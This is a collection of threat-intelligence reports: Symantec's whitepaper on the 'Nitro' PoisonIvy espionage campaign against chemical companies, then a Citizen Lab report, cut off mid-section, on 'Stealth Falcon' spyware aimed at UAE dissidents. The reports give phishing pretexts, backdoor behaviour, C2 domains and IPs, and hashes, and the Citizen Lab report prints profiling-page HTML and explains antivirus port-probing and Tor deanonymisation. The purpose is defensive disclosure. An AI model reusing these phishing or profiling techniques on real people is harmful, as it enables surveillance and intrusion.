]159/FA347FEiwq.jpg 6/6 https://www.trendmicro.com/en_us/business/products/user-protection/sps/endpoint/endpoint-application-control.html https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/infosec-guide-email-threats https://www.trendmicro.com/us/enterprise/cloud-solutions/deep-security/index.html https://www.trendmicro.com/en_us/business/products/user-protection/sps/endpoint/vulnerability-protection.html http://www.trendmicro.com/us/business/complete-user-protection/index.html http://www.trendmicro.com/us/business/complete-user-protection/index.html http://www.trendmicro.com/us/small-business/product-security/ http://www.trendmicro.com/us/small-business/product-security/ http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/ http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/ http://www.trendmicro.com/us/enterprise/product-security/officescan/ http://www.trendmicro.com/us/enterprise/product-security/officescan/ http://www.trendmicro.com/us/business/xgen/index.html ChessMasters New Strategy: Evolving Tools and Tactics
The Nitro Attacks Eric Chien and Gavin OGorman Stealing Secrets from the Chemical Industry Security Response Contents Introduction ....................................................... 1 Targets................................................................ 1 Attack methodology .......................................... 2 Geographic Spread  ........................................... 3 Attribution .......................................................... 4 Technical details ................................................ 4 Delivery ........................................................ 4 Threat details ............................................... 5 Command and Control (CC) ...................... 6 Related Attacks .................................................. 6 Summary ............................................................ 6 Appendix ............................................................ 7 Introduction This document discusses a recent targeted attack campaign directed primarily at private companies involved in the research, develop- ment, and manufacture of chemicals and advanced materials.
The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes.
In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations.
At- tacks on the chemical industry are merely their latest attack wave.
As part of our investigations, we were also able to identify and con- tact one of the attackers to try and gain insights into the motiva- tions behind these attacks.
As the pattern of chemical industry tar- gets emerged, we internally code-named the attack campaign Nitro.
The attack wave started in late July 2011 and continued into mid- September 2011.
However, artifacts of the attack wave such as Command and Control (CC) servers are also used as early as April 2011 and against targets outside the chemical indus- try.
The purpose of the attacks appears to be industrial espio- nage, collecting intellectual property for competitive advantage.
Targets The attackers have changed their targets over time.
From late April to early May, the attackers focused on human rights related NGOs.
They then moved on to the motor industry in late May.
From June until mid- July no activity was detected.
At this point, the current attack campaign against the chemical industry began.
This particular attack has lasted much longer than previous attacks, spanning two and a half months.
The Nitro Attacks: Stealing Secrets from the Chemical Industry Page 2 Security Response A total of 29 companies in the chemical sector were confirmed to be targeted in this attack wave and another 19 in various other sectors, primarily the defense sector, were seen to be affected as well.
These 48 companies are the minimum number of companies targeted and likely other companies were also targeted.
In a recent two week period, 101 unique IP addresses contacted a command and control server with traffic consistent with an infected machine.
These IPs represented 52 different unique Internet Service Providers or organizations in 20 countries.
Companies affected include: Multiple Fortune 100 companies involved in research and development of chemical compounds and advanced materials.
Companies that develop advanced materials primarily for military vehicles.
Companies involved in developing manufacturing infrastructure for the chemical and advanced materials industry.
Attack methodology The attackers first researched desired targets and then sent an email specifically to the target.
Each organiza- tion typically only saw a handful of employees at the receiving end of these emails.
However, in one organization almost 500 recipients received a mail, while in two other organizations, more than 100 were selected.
While the attackers used different pretexts when sending these malicious emails, two methodologies stood out.
First, when a specific recipient was targeted, the mails often purported to be meeting invitations from established business partners.
Secondly, when the emails were being sent to a broad set of recipients, the mails purported to be a necessary security update.
The emails then contained an attachment that was either an executable that appeared to be a text file based on the file name and icon, or a password-protected archive containing an execut- able file with the password provided in the email.
In both cases, the executable file was a self-extracting execut- able containing PoisonIvy, a common backdoor Trojan developed by a Chinese speaker.
When the recipient attempted to open the attachment, they would inadvertently execute the file, causing Poi- sonIvy to be installed.
Once PoisonIvy was installed, it contacted a CC server on TCP port 80 using an encrypt- ed communication protocol.
Using the CC server, the attackers then instructed the compromised computer to provide the infected computers IP address, the names of all other computers in the workgroup or domain, and dumps of Windows cached password hashes.
By using access to additional computers through the currently logged on user or cracked passwords through dumped hashes, the attackers then began traversing the network infecting additional computers.
Typically, their primary goal is to obtain domain administrator credentials and/or gain access to a system storing intellectual property.
Domain administrator credentials make it easier for the attacker to find servers hosting the desired intellectual property and gain access to the sensitive materials.
The attackers may have also downloaded and installed additional tools to penetrate the network further.
While the behavior of the attackers differs slightly in each compromise, generally once the attackers have identi- fied the desired intellectual property, they copy the content to archives on internal systems they use as internal staging servers.
This content is then uploaded to a remote site outside of the compromised organization com- pleting the attack.
The Nitro Attacks: Stealing Secrets from the Chemical Industry Page 3 Security Response Geographic Spread Figure 1 shows the location of infected computers.
This data is derived from the IP addresses of machines connecting back to the command and control serv- er.
The majority of infected machines are located in the US, Bangladesh and the UK however, overall there is wide geographical spread of infections.
Figure 2 shows the country of origin of the organiza- tions targeted by these at- tacks.
While the US and UK again figure highly here, overall the geographical spread is different.
This means that the infected computers are rarely located within the organi- zations headquarters or country of origin.
Figure 2 Country of origin of targeted organizations 1 Italy 1 Saudi Arabia 1Belgium 1 Netherlands 1 Japan 5UK 12USA 2 Denmark Figure 1 Geographic location of infected computers Additional confirmed infections exist however, they did not contact the command and control server during the two-week period we were monitoring it.
The Nitro Attacks: Stealing Secrets from the Chemical Industry Page 4 Security Response There are two possible explanations for this: The attackers are targeting sites, or individuals in certain sites, which they know have access to certain data that is of interest to the attacker.
The attackers are targeting sites or individuals that they believe have less security measures in place and are therefore an easier access point into the victims networks.
We can conclude that the attackers are not targeting organizations in a particular country.
Attribution The attacks were traced back to a computer system that was a virtual private server (VPS) located in the United States.
However, the system was owned by a 20-something male located in the Hebei region in China.
We inter- nally have given him the pseudonym of Covert Grove based on a literal translation of his name.
He attended a vocational school for a short period of time specializing in network security and has limited work experience, most recently maintaining multiple network domains of the vocational school.
Covert Grove claimed to have the U.S.-based VPS for the sole purpose of using the VPS to log into the QQ instant message system, a popular instant messaging system in China.
By owning a VPS, he would have a static IP ad- dress.
He claims this was the sole purpose of the VPS.
And by having a static IP address, he could use a feature provided by QQ to restrict login access to particular IP addresses.
The VPS cost was RMB200 (US32) a month.
While possible, with an expense of RMB200 a month for such protection and the usage of a US-based VPS, the scenario seems suspicious.
We were unable to recover any evidence the VPS was used by any other authorized or unauthorized users.
Further, when prompted regarding hacking skills, Covert Grove immediately provided a contact that would perform hacking for hire.
Whether this contact is merely an alias or a different individual has not been determined.
We are unable to determine if Covert Grove is the sole attacker or if he has a direct or only indirect role.
Nor are we able to definitively determine if he is hacking these targets on behalf of another party or multiple parties.
Technical details As mentioned above, the threat used to compromise the targeted networks is Poison Ivy, a Remote Access Tool (RAT).
This application is freely available from poisonivy-rat.com.
It comes fully loaded with a number of plug-ins to give an attacker complete control of the compromised computer.
Delivery The method of delivery has changed over time as the attackers have changed targets.
Older attacks involved a self-extracting archive with a suggestive name, for example: Human right report of north Africa under the war.
scr.
The most recent attacks focusing on the chemical industry are using password-protected 7zip files which, when extracted, contain a self-extracting executable.
The password to extract the 7zip file is included in the email.
This extra stage is used to prevent automated systems from extracting the self-extracting archive.
Some example file names using this technique include: AntiVirus_update_package.7z acquisition.7z offer.7z update_flashplayer10ax.7z The Nitro Attacks: Stealing Secrets from the Chemical Industry Page 5 Security Response An example of an email used to send the attachment can be seen in figure 3.
The email is quite generic, appli- cable to any corporate user.
Some of the subject lines will vary and may include the name of the targeted company in an attempt to be more convincing.
Threat details When the self-extracting archive file is executed, it will drop two files.
Examples of file names that are used include: Temp\happiness.txt Temp\xxxx.exe The executable file, xxxx.exe in this case, is then executed.
The second file, happiness.txt, contains custom code in binary format that is en- crypted and used by xxxx.exe.
The xxxx.exe file copies happiness.txt to C:\PROGRAM FILES\common files\ ODBC\ODUBC.DLL and to C:\WIN- DOWS\system32\jql.sys.
It then loads the contents of the encrypted file and injects it into the explorer.exe and iexplore.exe processes.
The injected code copies xxxx.exe to System\winsys.exe and connects to the Command and Control (CC) server on TCP port 80.
The communication with the server is a handshake using an encryption algorithm (Camellia).
Once the Trojan establishes the servers authenticity, it expects a variable-size block of binary code that is read from the server straight into the virtual space for iexplore.exe and then executed.
When an executable is compiled, the compiler will store some metadata in the compiled executable.
One particu- lar piece of relevant metadata is the location of the compiled code on disk.
The path in this instance contained Chinese characters and was: C:\Documents and Settings\Administrator\\\\Release\.pdb This translates to: C:\Documents and Settings\Administrator\[Desktop]\[New Folder]\[read the file]\Release\[read the file].pdb Figure 3 Malicious email The Nitro Attacks: Stealing Secrets from the Chemical Industry Page 6 Security Response Command and Control (CC) When executed, the Poison Ivy threat, or Backdoor.
Odivy, connects to a command and control (CC) server over TCP port 80.
A number of different CC domains and IP addresses were identified.
The domains and IPs are listed in table 1.
The majority of samples connect to a domain however one subset of samples connected directly to the IP address 204.74.215.58, which be- longed to the Chinese QQ user men- tioned previously and was also associ- ated with antivirus-groups.com.
Related Attacks Several other hacker groups have also begun targeting some of the same chemical companies in this time pe- riod.
Attackers are sending malicious PDF and DOC files, which use exploits to drop variants of Backdoor.
Sogu.
This particular threat was also used by hackers to compromise a Korean social network site to steal records of 35 million users.
Determining if the two groups are related is difficult, but any relationship appears unlikely.
The attackers described in this document use a very basic delivery platform compressed self-extracting archives sometimes sent to a large number of recipients.
The Sogu gang, in contrast, use PDF and DOC files in very tailored, targeted emails.
The Sogu gang use a custom developed threat  Backdoor.
Sogu, whereas the group described in this document use an off the shelf threat  Poison Ivy.
While the number of Sogu targets is currently small relative to the Poison Ivy attacks, we continue to monitor their activities.
Summary Numerous targeted attack campaigns are occurring every week.
However, relative to the total number of at- tacks, few are fully disclosed.
These attacks are primarily targeting private industry in search of key intellectual property for competitive advantage, military institutions, and governmental organizations often in search of documents related to current political events and human rights organizations.
This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as pro- prietary designs, formulas, and manufacturing processes.
Table 1 CC domains and IPs Domain IPs pr[REMOVED].noip.org 173.252.207.71, 173.252.205.36, 173.252.205.37, 173.252.205.64 antivirus-groups.com 74.82.166.205, 204.74.215.58 domain.rm6.org 216.131.95.22, 222.255.28.27 anti-virus.sytes.net 173.252.205.36, 173.252.205.37, 173.252.205.64 The Nitro Attacks: Stealing Secrets from the Chemical Industry Page 7 Security Response Appendix Example MD5s of PoisonIvy samples used in these attacks: 091457444b7e7899c242c5125ddc0571 6e99585c3fbd4f3a55bd8f604cb35f38 07e266f7fb3c36a1f3a5c5d2d229a478 17e7022496d8092d3ca76ae9524a7260 2f37912e7cb6e5c478e6dc3d0e381a24 5d075e9536c5494745135c1176981c96 76000c77ea9a214f5b2ae8cc387809db a98d2c90b9494fc885c7cd35d43666ea c128c40bd8acb282288e8138352ce4e1 cab66da82594ff5266ac8dd89e3d1539 70fcb3446fce23b18d9a12b2ed911e52 c53c93a445d751387eb167e5a2b901da dd5715cb3b0cdddbe131f03cc08f0f57 0f54a9757f1a2fef2b04b776714a7546 37f70717f549f1938e5785527e56978d 31346e5b39ddb095d76071ac86da4c2e 330ddac1f605ff8abf60880c584ed797 457a2a8d0784e9fc8e49f6ef60f7f29e 87aeec7f7c4ec1b6dc5e6c39b28d8273 8d36fd85d9c7d1f4bb170a28cc23498a de7e293aa9c4d849dc080f3e87573b24 64a4ad90a55e7b6c30c46135435f50a2 About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information.
Headquartered in Moutain View, Calif., Symantec has operations in more than 40 countries.
More information is available at www.symantec.com.
For specific country offices and contact num- bers, please visit our Web site.
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Symantec Corporation World Headquarters 350 Ellis Street Mountain View, CA 94043 USA 1 (650) 527-8000 www.symantec.com Copyright  2011 Symantec Corporation.
All rights reserved.
Symantec and the Symantec logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries.
Other names may be trademarks of their respective owners.
Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation.
NO WARRANTY .
The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use.
Any use of the technical documentation or the information contained herein is at the risk of the user.
Documentation may include technical or other inaccuracies or typographical errors.
Symantec reserves the right to make changes without prior notice.
Security Response About the authors Eric Chien is a Technical Director for Security Response and Gavin OGorman is a Security Response Manager in Symantec.
Keep Calm and (Dont) Enable Macros: A New Threat Actor Targets UAE Dissidents May 29, 2016 Categories: Bill Marczak, John Scott-Railton, Reports and Briefings, Research News Authors: Bill Marczak, John Scott-Railton 1.
Executive Summary This report describes a campaign of targeted spyware attacks carried out by a sophisticated operator, which we call Stealth Falcon.
The attacks have been conducted from 2012 until the present, against Emirati journalists, activists, and dissidents.
We discovered this campaign when an individual purporting to be from an apparently fictitious organization called The Right to Fight contacted Rori Donaghy.
Donaghy, a UK-based journalist and founder of the Emirates Center for Human Rights, received a spyware-laden email in November 2015, purporting to offer him a position on a human rights panel.
Donaghy has written critically of the United Arab Emirates (UAE) government in the past,1 and had recently published a series of articles based on leaked emails involving members of the UAE government.2 Circumstantial evidence suggests a link between Stealth Falcon and the UAE government.
We traced digital artifacts used in this campaign to links sent from an activists Twitter account in December 2012, a period when it appears to have been under government control.
We also identified other bait content employed by this threat actor.
We found 31 public tweets sent by Stealth Falcon, 30 of which were directly targeted at one of 27 victims.
Of the 27 targets, 24 were obviously linked to the UAE, based on their profile information (e.g., photos, UAE in account name, location), and at least six targets appeared to be operated by people who were arrested, sought for arrest, or convicted in absentia by the UAE government, in relation to their Twitter activity.
The attack on Donaghy - and the Twitter attacks - involved a malicious URL shortening site.
When a user clicks on a URL shortened by Stealth Falcon operators, the site profiles the software on a users computer, perhaps for future exploitation, before redirecting the user to a benign website containing bait content.
We queried the URL shortener with every possible short URL, and identified 402 instances of bait content which we believe were sent by Stealth Falcon, 73 of which obviously referenced UAE issues.
Of these URLs, only the one sent to Donaghy definitively contained spyware.
However, we were able to trace the spyware Donaghy received to a network of 67 active command and control (C2) servers, suggesting broader use of the spyware, perhaps by the same or other operators.
Figure 1: Tag cloud of bait content topics used by Stealth Falcon showing a strong emphasis on political topics and narratives critical of the UAE government 2.
Background Rori Donaghy 3 is a London-based journalist who currently works for UK news organization Middle East Eye, a website that covers news in the Middle East.
4 Middle East Eye has recently published a series of articles about UAE foreign policy, based on leaked emails involving members of the UAE government.
Previously, Donaghy led the Emirates Center for Human Rights, 5 an organization he founded to promote the defence of human rights in the United Arab Emirates through building strong relationships with the media, parliaments and other relevant organisations outside the UAE.6 2.1.
Political and Human Rights Situation in the UAE In its most recent (2015) Freedom in the World ranking, Freedom House classified the UAE as not free, and noted that the UAE continues to suppress dissent.
7 Human Rights Watch stated in its most recent (2016) country report, that the UAE has continued to arbitrarily detain and in some cases forcibly disappear individuals who criticized the authorities.8 Amnesty International says that UAE courts have accepted evidence allegedly obtained through torture.9 Specifically in the online realm, there is evidence that the UAE government has previously conducted malware attacks against civil society.
At least three dissidents 10 including a journalist, and UAE human rights activist Ahmed Mansoor, were targeted in 2012 with Hacking Team spyware 11 by a Hacking Team customer in the UAE, apparently operating under the auspices of the office of Sheikh Tahnoon bin Zayed al-Nahyan, 12 a son of the founder of the UAE, and now the UAE Deputy National Security Advisor.
13 The UAE client had a license from Hacking Team to concurrently infect and monitor 1100 devices.
14 Figure 2: Diagram of Stealth Falcons known Targets, Fake Personas, and campaign Artefacts, along with relevant sections of the report.
The document paints a picture of a large-scale campaign with a focus on critics of the UAE Government 3.
The November 2015 Attack: An Invitation This section describes an email attack against journalist Rori Donaghy.
The operators used a Microsoft Word macro that installs a custom backdoor allowing operators to execute arbitrary commands on a compromised machine.
3.1 Initial Attack Email In November 2015, the journalist Donaghy received the following email message, purportedly offering him a position on a panel of human rights experts: From: the_right_to_fightopenmailbox.org Subject: Current Situation of Human Rights in the Middle East Mr. Donaghy, We are currently organizing a panel of experts on Human Rights in the Middle East.
We would like to formally invite you to apply to be a member of the panel by responding to this email.
You should include your thoughts and opinions in response to the following article about what more David Cameron can be doing to help aid the Middle East.
http://aax.me/d0dde Thank you.
We look forward to hearing back from you, Human Rights: The Right to Fight Donaghy was suspicious of the email, and forwarded it to us for analysis.
We found that the link in the email (http://aax.me/d0dde) loaded a page containing a redirect to the website of Al Jazeera.
Before completing the redirect, it invoked JavaScript to profile the targets computer.
We describe the profiling in detail in Section 3.1-3.3 below.
3.2 Communication with the Operator On our instruction, Donaghy responded to the email, asking for further information.
The operators responded with the following message: From: the_right_to_fightopenmailbox.org Subject: RE: Current Situation of Human Rights in the Middle East Mr. Donaghy, Thank you for getting back to us.
We are very interested in you joining our panel.
The information you requested is in the attached document.
In order to protect the content of the attachment we had to add macro enabled security.
Please enable macros in order to read the provided information about our organization.
We hope you will consider joining us.
Thank you.
We look forward to hearing back from you, Human Rights: The Right to Fight By chance, the attachment was identified as malicious and blocked by a program running in Donaghys email account.
We instructed him to follow up and request that the operators forward the attachment via another method.
Donaghy received the following reply: From: the_right_to_fightopenmailbox.org Subject: RE: Current Situation of Human Rights in the Middle East Mr. Donaghy, We apologize for having problems with our attachment.
Please follow this link to download our organizational information.
http://aax.me/a6faa The link has been password protected.
The password is: right2fight In order to protect the content of the attachment we also had to add macro enabled security.
Please enable macros in order to read the provided information about our organization.
We hope you will consider joining us.
Thank you.
We look forward to hearing back from you, Human Rights: The Right to Fight This second link (http://aax.me/a6faa) redirects to the following URL using an HTTP 302 redirect: https://cloud.openmailbox.org/index.php/s/ujDNWMmg8pdG3AL/authenticate This is a password-protected link to a file shared on an ownCloud15 instance.
We obtained this file, and found it to be a Microsoft Word document.
3.3 The Malicious Document The document is: Filename: right2fight.docm MD5: 80e8ef78b9e28015cde4205aaa65da97 SHA1: f25466e4820404c817eaf75818b7177891735886 SHA256: 5a372b45285fe6f3df3ba277ee2de55d4a30fc8ef05de729cf464103632db40f When opened, the target is greeted with the following image, purporting to be a message from proofpoint, a legitimate provider of security solutions for Office 365.16 The image claims that This Document Is Secured and requests that the user Please enable macros to continue.
Figure 3: Fake Proofpoint image in the malicious document sent to Donaghy If the target enables macros, they are presented with the following document: Figure 4: Document that Donaghy would have seen, had he enabled macros The document purports to be from an organization called The Right To Fight, and asks the target Donaghy to open the link in the original email he received (the email containing the profiling URL).
We believe that The Right To Fight is a fictitious organization, as their logo appears to be copied from an exhibition about African American Experiences in WWII.17 Further, The Right to Fight has no discernable web presence.
Figure 5: Logo from exhibition about African American experiences in WWII.
3.3.1 Profiling The document attempts to execute code on the recipients computer, using a macro.
The macro passes a Base64-encoded command to Windows PowerShell, which gathers system information via Windows Management Instrumentation (WMI), and attempts to determine the installed version of .NET by querying the registry (full script available in Appendix A: Stage One PowerShell Command).
3.3.2 Communication  Obtaining a Shell Gathered information is returned to http://adhostingcache.com/ehhe/eh4g4/adcache.txt, and the servers response is executed as a PowerShell command.
At the time, adhostingcache.com resolved to 95.215.44.37.
The domain was apparently deleted on November 30th 2015 (Donaghy received the malicious Word Document on November 24th 2015).
A new domain, adhostingcaches.com, was registered on December 3rd, which points to the same IP address.
The deletion of adhostingcache.com may reflect operator suspicion that the file received by Donaghy had been sent to security researchers.
The server response is a PowerShell command that decodes and materializes an invocation of a Base64-encoded PowerShell command to disk as IEWebCache.vbs, and creates a scheduled task entitled IE Web Cache that executes the file hourly (full script available in Appendix B: Stage Two PowerShell Command).
IEWebCache.vbs runs a Base64-encoded PowerShell command, which periodically POSTs a unique identifier to https://incapsulawebcache.com/cache/cache.nfo (via HTTPS without verifying the server certificate, and with a hardcoded user-agent header matching Internet Explorer 10.6).
The script executes server responses as PowerShell commands, responding back to the server with the exit status of, output of, or any exceptions generated by the commands.
This gives the operator control over the victims computer, and allows the operator to install additional spyware or perform other activities.
All commands and responses are encrypted using RC4 with a hardcoded key, and the encrypted message is prefixed with a hardcoded value.
Despite some similarities in functionality to the Empire backdoor,18 we were unable to identify any shared code, and we suspect that the backdoor is custom-made.
3.4.
Technical Analysis: aax.me Browser Profiling While aax.me has a public interface where anyone may shorten a link, aax.me only conducts browser profiling of individuals who click on links that are specially shortened by Stealth Falcon operators.
In November 2015, when we accessed the link in the second email that Donaghy received, http://aax.me/a6faa, we found that it redirected directly to https://cloud.openmailbox.org/index.php/s/ujDNWMmg8pdG3AL/authenticate via an HTTP 302 redirect.
When we accessed the link in the first email that Donaghy received, http://aax.me/d0dde, the server responded with the following page: iframe srcredirect.php height1 width1 border0 scrollingno frameborder0 unselectableyes marginheight0 marginwidth0 onloadsetTimeout(document.location \http://www.aljazeera.com/indepth/opinion/2015/11/british-pm-middle-east-human-rights- 151103070038237.html\, 20000)/iframebrbrbrcenterimg srcloading.gifbrLoading the website:brbhttp://www.aljazeera.com/indepth/opinion/2015/11/british-pm-middle-east-human-rights- 151103070038237.html/b.brThis may take a few seconds./center The page is apparently designed to redirect to an Al Jazeera op-ed after twenty seconds.19 However, the URL is incorrect: the last character of the filename should be a 1 instead of a 7.
Therefore, an Al Jazeera 404 page is returned instead of the op- ed.
It is possible that the use of 7 instead of 1 represents a transcription error on the part of the operators.
When we accessed this same aax.me URL in March 2016, it redirected directly to the Al Jazeera URL (with typo) via an HTTP 302 redirect.
The iframe, http://aax.me/redirect.php, reloads itself with a parameter inFr in its query string, to indicate whether the page has been opened up inside a frame.
htmlbodyscript typetext/javascriptif(windowwindow.top) inFr1elseinFr0document.locationdocument.location?inFrinFr/scriptnoscriptimg src?jSc0//noscript/body/html If the page has not been opened up inside a frame (inFr0), then a blank page is returned.
If the page is opened inside a frame (inFr1), as is the case here, then the following page is returned (we ommitted the PHPSESSID value): htmlhead/headbodydiv iddisplay height1 styledisplay:none/divform idstatsPost action?stats1 methodPOSTinput typehidden namePHPSESSID value /input idtheData nametheData typehidden value //formscript typetext/javascript srcredirect.js /script/body/html We examined the referenced JavaScript file, http://aax.me/redirect.js.
The file is designed to profile a users system, perhaps to gather intelligence about potentially exploitable vulnerabilities.
The file has apparently not been updated since 7 May 2013,20 rendering some of the probing obsolete.
We enclose the files full contents in Appendix C: JavaScript Profiling File.
The profiling performs the following actions: For Internet Explorer, it attempts to create several instances of ActiveXObject to get the versions of Flash, Shockwave, Java, RealPlayer, Windows Media Player, and Microsoft Office (classified as either 2003, 2007, or 2010).
For non-Internet Explorer browsers, it attempts to get a list of enabled plugins from navigator.mimeTypes.
For all browsers, it captures the user agent, whether cookies are enabled, the OS, the size of the browser window, and the timezone.
It classifies browsers into different versions, denoted by letters, based on the existence and behavior of certain JavaScript methods.
The script attempts to exploit an information leak in older versions of Tor Browser.
We explore the technique used in Section 3.5.
For Windows browsers (except Opera, and versions of Internet Explorer before IE9), it sends a series of XMLHttpRequests to 127.0.0.1, which we believe are designed to deduce if the computer is running any one of several specific antivirus programs.
The code for this appears to be borrowed from the JS-Recon port scanning tool.21 The creator of JS-Recon presented the tool at BlackHat Abu Dhabi in 2010.22 We explore such techniques in more detail in Section 3.6.
We were unfamiliar with the website aax.me, so we investigated it further.
We found that the main page of aax.me purported to be a public URL shortening service, powered by YOURLS,23 an open source PHP framework allowing anyone to set up their own URL shortening service.
We are unable to ascertain whether the site actually uses any YOURLS code.
We also noted that the homepage contains a typo (Shortend [sic] URL).
Figure 6: Homepage of aax.me We shortened a URL using the homepage, but found that clicking on the shortened URL did not trigger the loading of the intermediate page, http://aax.me/redirect.php.
We also did not find the code for redirect.php or redirect.js in the public code repository for YOURLS.24 Thus, we deduced that this code was likely specially written by the operators, and the link sent to Donaghy was likely created by someone with administrator access to aax.me.
3.5.
Technical Analysis: aax.me Tor Deanonymization Attempt The aax.me site appears to attempt to deanonymize users of Tor Browser.
While the technique the operators used was out-of- date at the time we observed the attack, the attempted Tor deanonymization speaks to their motivations and potential targets.
The script first detects Tor Browsers by checking whether navigator.buildID is set to zero (all testing was conducted on English, Windows builds of Tor Browser).
Versions of Tor Browser before 2.3.25-12 (released on 13 August 2013) had their buildID set to zero.
This behavior was originally introduced in TorButton,25 in support of the goal of making Tor users appear homogenous.26 Current Tor Browser versions have navigator.buildID set to a different distinctive value, 20000101000000.
When the script detects a Tor Browser, it attempts to deduce the version of Tor Browser by checking for the existence and behavior of certain JavaScript methods.
Once a browser is determined to be older than a certain version of Tor Browser, the script exploits a now-fixed bug to get the disk path of the browser installation.27 The disk path may contain the targets username, which may include the targets real name.
The bug in Tor Browser was first disclosed at Defcon 17, which took place in August 2009.28 The bug was first fixed on on 25 May 2012 in Tor Browser release 2.2.35-13.29 The bug was, however, later reintroduced into Tor Browser on 18 December 2013 with the release of Tor Browser 3.5, and subsequently fixed again in Tor Browser 3.6 on 29 April 2014.30 However, unfortunately for the operators, they failed to update their profiling script to reflect Tor Browsers navigator.buildID change (before the bug was reintroduced).
Thus, the profiling script did not detect Tor Browsers with the reintroduced bug as Tor Browsers, so it did not try to exploit them.
Even if it had been updated to reflect the navigator.buildID change, the version check in the Tor Browser exploitation code would also have to be updated to select the versions with the reintroduced bug for exploitation.
The version of Tor Browser (as determined by JavaScript checks) is submitted back to the server, along with the value of navigator.oscpu (which reveals the version of the OS on which Tor Browser is running - e.g., the latest version of Tor Browser on OSX El Capitan reveals: Intel Mac OS X 10.11), navigator.vendor (which appears blank in the latest Tor Browser), and any data gathered about the installation path.
3.6.
Technical Analysis: aax.me Antivirus Profiling Interestingly, aax.me also attempts to determine the presence of various antivirus products on a targets machine.
We expand on the probing of antivirus programs which we observed on aax.me, as we were unfamiliar with this technique.
The technique appears to work on any modern version of Windows, with the latest versions of Chrome, Firefox, and IE/Edge (though, the profiling script excludes IE versions less than IE9 from the profiling, using the vertical tab test).31 Specifically, the script conducts GET XMLHttpRequests (one at a time) to 127.0.0.1/ on the following ports: 12993, 44080, 24961, 1110, 6646, 6999, 30606.
The script stops conducting these requests if it finds one request whose readyState is set to 4 less than 20ms after the request was initiated (200ms for port 6646), and submits the number of this port to the server.
The latest versions of Internet Explorer/Edge, Chrome, and Firefox (except Tor Browser) will all perform these XMLHttpRequests to 127.0.0.1 on behalf of any site.
Of course, the result of such a request will most likely not be available to the script, due to the same-origin policy, and likely absence of a CORS32 header in the response.
Indeed, the script does not attempt to read the results of its requests.
Rather, it leverages the fact that the web browser makes the status of the request sent available, via the readyState parameter of an XMLHttpRequest instance (1 approximately represents TCP SYN sent, and 4 represents HTTP response received or TCP connection terminated).
For a closed port, Windows will issue an RST/ACK for each SYN sent.
However, it appears that Windows TCP stack will not consider an outgoing connection it is initiating to be terminated until it has sent 3 SYNs, and received three corresponding RST/ACKs (or timeouts).
Figure 7: Three RST/ACKs required until Windows considers outgoing TCP connection terminated When testing with a TCP connection from Windows to a remote host, we can clearly see that Windows transmits the second SYN 500ms after the first RST/ACK, and the third SYN 500ms after the second RST/ACK.
Figure 8: Windows sends the next SYN 500ms after the latestRST/ACK Thus, the readyState value for a request to a closed port on 127.0.0.1 will not be set equal to 4 until approximately 1000ms after the request is issued.
In summary, one can use this technique to distinguish between a closed port (readyState set to 4 at around 1000ms), an open port (readyState set to 4 before 1000ms), and a filtered port (readyState set to 4 long after 1000ms).
This script was apparently designed to detect the presence of certain components of Avast, Avira, ESET, Kaspersky, and Trend Micro antivirus products.
We were not able to determine which program the probing of port 24961 was designed to detect.
We verified that the latest version of Avast can be detected by this script, as it opens TCP port 12993, which is associated with its Mail Shield component for scanning email traffic port 6999 is opened by Trend Micros tmproxy33 which scans web and email traffic port 1110 is used by Kaspersky 34 to scan web and email traffic it appears that Aviras Web Protection component for scanning web traffic used to open port 44080, 35 though we observed it opening 44081 instead port 30606 appears to have been used by ESET to scan web and email traffic, 36 but we did not observe this port open while testing the latest version of ESET port 6646 may be used by McAfee, though we did not test this.
37 The code for the port scanning appears to be adapted from the JS-Recon port scanning tool.
38 JS-Recon is a generic tool that enumerates all open ports on 127.0.0.1 in a range it does not specifically target anti-virus programs.
The scan_xhr and check_ps_xhr functions in the aax.me profiling script are similar to the scan_ports_xhr and check_ps_xhr functions in JS- Recon.
The creator of JS-Recon seems to have first presented the tool at BlackHat Abu Dhabi in 2010.
39 Figure 9: Image from the author of JS-Recon showing how long WebSocket and XMLHttpRequest (COR) connections remain in their initial readyState on Windows.40 Note that this technique can be generalized to any remote content timing side channel (e.g, the onerror event for an Image).
Additionally, one can identify the presence of an open port on 127.0.0.1 that speaks HTTP without using timing information, and thus without the Windows TCP behavior assumption (e.g., by handling the onerror and oncomplete events of certain types of link elements).
We are unsure whether the purpose of the antivirus profiling is to identify potentially exploitable antivirus software running on a targets computer, or for evasion of antivirus products.
In December 2015, Google Security discovered a critical vulnerability in Avasts antivirus product, which involved a webpage sending HTTP requests to a port that Avast opens on 127.0.0.1.
Google Security demonstrated that the vulnerability allowed exfiltration of arbitrary files from a victims disk.
41 In January 2016, Google Security discovered a critical vulnerability in Trend Micros antivirus product, which similarly involved a web page sending HTTP requests to a port that Trend Micro opens on 127.0.0.1.
Google Security demonstrated that the vulnerability allowed arbitrary command execution.
4.
The Case of the Fake Journalist In the course of our investigation we scanned the e-mail of journalist Donaghy and found evidence that he had been contacted by a fictitious journalist, whom we linked to Stealth Falcon.
We scanned Donaghys GMail account for any previous messages featuring links that redirected through aax.me.
We identified the following message from December 2013, purporting to be from a UK journalist named Andrew Dwight: From: andrew.dwight389outlook.com Subject: FW: Correspondence Request Greetings Mr. Donaghy, I have been trying to reach you for comment and I am hoping that this e-mail reaches the intended recipient.
My name is Andrew Dwight and I am currently writing a book about my experiences in the Middle East.
My focus is on human factors and rights issues in seemingly non-authoritarian regimes (that are, in reality, anything but).
I was hoping that I might correspond with you and reference some of your work, specifically this piece (http://goo.gl/60HAqJ), for the book.
Im quite impressed with the way you articulate this complex issue for the masses, and hope to have a similar impact with my book.
Happy New Year, Andrew The link in the email, http://goo.gl/60HAqJ, redirects to http://aax.me/0b152, which, as of December 2015, redirected to a 2013 Huffington Post blog post authored by Donaghy.
42 We did not observe any redirect.php behavior with this link as of December 2015, the aax.me link directly served an HTTP 302 redirect to the Huffington Post (we omitted the date header below).
